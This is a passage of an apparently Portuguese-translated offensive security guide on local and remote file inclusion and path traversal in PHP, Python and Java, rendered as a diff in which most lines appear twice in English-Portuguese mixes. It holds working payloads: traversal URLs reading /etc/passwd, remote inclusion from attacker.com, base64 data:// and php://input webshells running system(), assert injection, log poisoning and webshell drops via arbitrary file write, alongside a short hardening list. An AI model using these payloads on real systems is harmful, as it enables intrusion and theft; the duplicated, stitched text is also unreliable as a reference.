1. **Determine a profundidade do diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
1. **Determinar Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Sondar pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, então navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
2. **Probe for Folders:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpret the Outcomes:** A resposta do servidor indica se a pasta existe:
3. **Interpretar os resultados:** A resposta do servidor indica se a pasta existe:
- **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado.
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
4. **Exploração Recursiva:** As pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
4. **Exploração recursiva:** Pastas descobertas podem ser investigadas mais a fundo para subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
Para explorar diretórios em locais diferentes do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
No PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são todas tratadas como o mesmo caminho.
- Quando os últimos 6 caracteres são `passwd`, acrescentar uma `/` (fazendo `passwd/`) não altera o arquivo alvo.
- Da mesma forma, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não altera o arquivo acessado.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são tratados como o mesmo caminho.
- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando `passwd/`) não altera o arquivo alvo.
- De forma semelhante, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo acessado.
Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
```
@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar conforme a configuração do servidor.
Nesses cenários, o número de traversals necessários pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos extras de ponto e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível descobrir o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Esta técnica é usada como medida de precaução ou para cumprir os requisitos da lógica de análise de caminhos do servidor.
- **Usando Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar no sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam anuladas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**This vulnerability was corrected in PHP 5.3.**
@ -145,23 +145,23 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Em php isso está desativado por padrão porque **`allow_url_include`** está **Off.** Ele precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
No php isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Isso precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver filtrando o acesso a páginas externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE:
Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string acaba com isso e após o b64 decode essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
Outro exemplo **não usando o protocolo `php://`** seria:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Elemento raiz
## Elemento root em Python
Em Python, em um código como este:
```python
@ -173,17 +173,17 @@ Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho a
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Este é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
É o comportamento intencional de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
## Java Listagem de diretórios
## Java Listar Diretórios
Parece que se você tiver um Path Traversal em Java e você **pedir um diretório** em vez de um arquivo, **uma listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que eu saiba).
Parece que se você tiver um Path Traversal em Java e você **pedir por um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (afaik).
## Top 25 parâmetros
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a lo
?mod={payload}
?conf={payload}
```
## LFI / RFI usando wrappers e protocolos do PHP
## LFI / RFI usando PHP wrappers & protocols
### php://filter
Os filtros do PHP permitem executar operações básicas de **modificação nos dados** antes de serem lidos ou gravados. Existem 5 categorias de filtros:
PHP filters permitem realizar operações básicas de **modificação nos dados** antes que sejam lidos ou escritos. Existem 5 categorias de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
- Observe que esse filtro desapareceu das versões modernas do PHP
- Note que este filtro desapareceu nas versões modernas do PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
- `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
> [!WARNING]
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime o conteúdo (useful if exfiltrating a lot of info)
- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muita informação)
- `zlib.inflate`: Descomprime os dados
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsoleto
- `mdecrypt.*` : Obsoleto
- Other Filters
- Ao executar em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Outros filtros
- Ao executar em php `var_dump(stream_get_filters());` você pode encontrar um par de **filtros inesperados**:
- `consumed`
- `dechunk`: inverte a codificação HTTP chunked
- `dechunk`: reverte HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> A parte "php://filter" não diferencia maiúsculas de minúsculas
### Usando php filters como oráculo para ler arquivos arbitrários
### Usando php filters como oracle para ler arquivos arbitrários
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oráculo. Isso porque php filters podem ser usados para tornar um texto grande o suficiente para fazer o php lançar uma exceção.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oracle. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.
No post original você pode encontrar uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
- Use the codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente.
- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php disparará um **erro**
- O filtro **dechunk** irá **remover tudo se o primeiro caractere não for hexadecimal**, então podemos saber se o primeiro caractere é hex.
- Isso, combinado com o anterior (e outros filtros dependendo da letra testada), nos permitirá adivinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hex, dechunk não o removerá e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto o dechunk não a apaga e o erro do php é acionado porque ela é multiplicada com a bomba inicial.
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente.
- Isso será usado para gerar um **text so big when the initial letter is guessed correctly** que fará o php disparar um **erro**.
- O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex.
- Isso, combinado com o anterior (e other filters dependendo da letra testada), permitirá advinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a deletará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto dechunk não a deleta e o php error é acionado porque se multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número.
- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível alterar a ordem dos chars e trazer para a primeira posição outras letras do texto.
- E para poder obter **dados adicionais** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivotarem com os próximos 2 bytes**, e d**eletar os dados até o junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até chegar ao bit desejado para leak.
- Quando o char inicial é um número é necessário fazer base64 encode dele e leak as 2 primeiras letras para leak o número.
- The final problem is to see **how to leak more than the initial letter**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível trocar a ordem dos chars e trazer para a primeira posição outras letras do texto.
- E para conseguir **further data** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivot with the next 2 bytes**, e **delete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
No post uma ferramenta para executar isso automaticamente também foi leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
No post também foi leaked uma ferramenta para automatizar isso: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
Esse wrapper permite acessar file descriptors que o processo tem abertos. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não tenho certeza de como isso poderia ser útil em um attack)
### zip:// e rar://
### zip:// and rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
Para poder abusar do protocolo rar ele **precisa ser ativado especificamente**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Note que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
Observe que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
### expect://
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web usa funções como `include` para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo `.phar`:
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -354,17 +354,17 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Para compilar o arquivo `.phar`, deve ser executado o seguinte comando:
Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
```bash
php --define phar.readonly=0 create_path.php
```
Após a execução, um arquivo chamado `test.phar` será criado, o que pode potencialmente ser aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` ou `filesize()`, pode-se tentar explorar uma deserialization vulnerability. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, a exploração de uma vulnerabilidade de deserialização pode ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
Para uma compreensão detalhada sobre a exploração de deserialization vulnerabilities no contexto de arquivos `.phar`, consulte o documento linkado abaixo:
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
[Guia de Exploração de Deserialização em Phar](phar-deserialization.md)
{{#ref}}
@ -373,36 +373,36 @@ phar-deserialization.md
### CVE-2024-2961
Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter um RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\
Resumo muito rápido: um **3 byte overflow** no heap do PHP foi abusado para **alter the chain of free chunks** de um tamanho específico a fim de conseguir **write anything in any address**, então foi adicionado um hook para chamar **`system`**.\
Foi possível alloc chunks de tamanhos específicos abusando de mais php filters.
Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter uma RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muito rápido resumo: um **overflow de 3 bytes** no heap do PHP foi abusado para **alterar a cadeia de free chunks** de um tamanho específico a fim de poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
Foi possível alocar chunks de tamanhos específicos abusando mais php filters.
### More protocols
### Mais protocolos
Confira mais possíveis[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Consulte mais [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontra nomes de caminhos que correspondem a um padrão (Não retorna nada imprimível, então não é realmente útil aqui)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (Não é útil para ler arquivos arbitrários)
## LFI via PHP's 'assert'
Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos quando se lida com a função 'assert', que pode executar código contido em strings. Isso é particularmente problemático se uma entrada contendo caracteres de directory traversal como ".." estiver sendo verificada mas não devidamente sanitizada.
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Por exemplo, código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um atacante poderia usar:
Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso para leitura do conteúdo de arquivos, um attacker poderia usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
De forma similar, para executar comandos arbitrários do sistema, pode-se usar:
```plaintext
' and die(system("id")) or '
```
@ -413,36 +413,36 @@ Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
> [!WARNING]
> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porque o conteúdo não é mostrado.
Em [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para exfiltrar o conteúdo de um arquivo via um error oracle.
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**.
Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo vai disparar um **erro**.
Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**.
Depois, para causar o leak do primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para colocar outros chars no início e causar o leak desses caracteres.
Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**.
Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Para os detalhes técnicos, veja o post mencionado!
Para os detalhes técnicos confira o post mencionado!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Quando código server-side que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto pela web, normalmente obtém RCE não autenticado ao dropar um webshell.
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Fluxo típico de exploração:
- Identificar uma primitiva de escrita em um endpoint ou worker em background que aceite um path/filename e escreva conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine os diretórios expostos na web. Exemplos comuns:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Construa um caminho com traversal que saia do diretório de armazenamento pretendido para o webroot e inclua o conteúdo do seu webshell.
- Navegue até o payload dropado e execute comandos.
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notas:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá depois o seu payload.
- Em stacks Java, essas gravações de arquivo são frequentemente implementadas com concatenação simples de `File`/`Paths`. A falta de canonicalização/allow-listing é a falha central.
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- Em stacks Java, essas escritas de arquivo são frequentemente implementadas com simples concatenação de `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
Exemplo genérico estilo XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -466,25 +466,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- Resolva para um caminho canônico e faça cumprir que seja descendente de um diretório base allow-listed.
- Rejeite qualquer caminho que contenha `..`, raízes absolutas, ou letras de drive; prefira nomes de arquivo gerados.
- Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita dos roots servidos.
Mitigações que derrotam essa classe de bugs:
- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base allow-listed.
- Rejeite qualquer caminho contendo `..`, raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados.
- Execute o writer como uma conta com poucos privilégios e segregue os diretórios de escrita das raízes servidas.
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
Explicado anteriormente, [**siga este link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **GET parameter** um php shell like **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
Se o servidor Apache ou Nginx estiver **vulnerável a LFI** na função include você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
> [!WARNING]
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
> Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP gerará um erro** ali e **nada mais será executado**.
>
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
